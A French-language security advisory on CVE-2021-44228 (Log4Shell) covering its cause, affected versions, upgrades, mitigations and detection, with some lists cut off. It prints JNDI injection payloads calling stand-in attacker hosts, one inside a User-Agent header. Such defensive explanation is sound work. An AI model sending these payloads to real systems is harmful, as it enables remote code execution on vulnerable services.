
CVE-2021-44228
Une vulnérabilité critique d'exécution de code à distance dans Apache Log4j 2, largement connue sous le nom de Log4Shell.
CVE-2021-44228 est une vulnérabilité RCE critique dans Apache Log4j 2 version 2.x (avant la 2.15.0), découverte en décembre 2021.
Elle permet à des attaquants distants non authentifiés d'exécuter du code arbitraire sur des systèmes vulnérables simplement en envoyant une entrée spécialement conçue qui est enregistrée par Log4j. La faille affecte d'innombrables applications et services basés sur Java dans le monde entier.
La vulnérabilité provient de la gestion par Log4j des recherches JNDI dans les chaînes enregistrées. Un attaquant peut intégrer une ressource JNDI malveillante dans un message enregistré (par exemple LDAP, DNS), comme :
${jndi:ldap://attaquant.com/a}
Log4j va :
Cela permet à un attaquant d'obtenir une exécution de code à distance (RCE) complète sur les services affectés.
| Métrique | Détail |
|---|---|
| Score de base CVSS v3.1 | 10.0 (Critique) |
| Vecteur d'attaque | Réseau |
| Privilèges requis | Aucun |
| Interaction utilisateur | Aucune |
| Authentification | Non requise |
| Impact | RCE complète |
Étant donné que Log4j est utilisé dans d'innombrables bibliothèques et applications, tout système qui enregistre des données non fiables pourrait être vulnérable.
Les versions suivantes de Log4j 2 sont vulnérables :
> = 2.0-beta9 et < 2.15.0
De plus, certaines configurations de 2.15.0 étaient encore exploitables, donc 2.16.0 et ultérieures constituent la référence sécurisée.
Mettez à jour vers les versions de Log4j 2 :
2.17.1 ou ultérieure
Des correctifs ultérieurs améliorent encore la sécurité (par exemple 2.17.2, 2.19.0, etc.).
Si une mise à jour immédiate n'est pas possible, vous pouvez :
log4j2.formatMsgNoLookups=true
JndiLookup du classpath :
zip -q -d log4j-core.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
Ces étapes aident à réduire l'exposition jusqu'à ce que vous puissiez effectuer la mise à jour.



Cette vulnérabilité est extrêmement facile à exploiter. Un attaquant n'a qu'à envoyer une chaîne spécialement conçue (par exemple via des en-têtes HTTP, des paramètres de formulaire, des messages de chat, des champs de base de données) qui sera enregistrée par l'application :
User-Agent: ${jndi:ldap://attaquant.example/a}
Une fois enregistrée, l'application effectuera une recherche distante et pourra être forcée à exécuter du code Java contrôlé par l'attaquant.
Log4Shell a eu un impact mondial massif :
C'est l'une des vulnérabilités les plus significatives de ces dernières décennies.
Vous pouvez détecter les systèmes vulnérables en :
${jndi:)| Champ | Valeur |
|---|---|
| ID CVE | CVE-2021-44228 |
| Surnom | Log4Shell |
| Produit | Apache Log4j 2 |
| Sévérité | Critique (CVSS 10.0) |
| Type | Exécution de code à distance |
| Impact | Compromission complète du système |
| Exploitabilité | Extrêmement facile |
| Atténuation | Mettre à jour vers ≥ 2.17.1 |
Si votre application ou toute bibliothèque que vous utilisez repose sur Log4j 2.x, mettez à jour immédiatement vers une version corrigée (≥ 2.17.1) et vérifiez que les recherches JNDI sont désactivées ou supprimées lorsque c'est possible.